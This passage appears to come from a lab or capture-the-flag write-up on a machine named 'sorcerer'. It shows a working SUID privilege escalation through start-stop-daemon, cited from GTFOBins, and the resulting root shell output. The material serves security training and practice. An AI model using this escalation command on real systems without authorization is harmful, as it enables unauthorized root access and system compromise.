SUID start-stop-daemon
The start-stop-daemon binary has SUID bit set. This was confirmed by PEAS at a later stage
According to GTFOBins, start-stop-daemon can be leveraged for privilege escalation if SUID bit set
max@sorcerer:/var/tmp$ /usr/sbin/start-stop-daemon -n $RANDOM -S -x /bin/sh -- -p
# whoami
root
# hostname
sorcerer
# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
3: ens192: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
link/ether 00:50:56:9e:cb:57 brd ff:ff:ff:ff:ff:ff
inet 192.168.113.100/24 brd 192.168.113.255 scope global ens192
valid_lft forever preferred_lft forever
System level compromise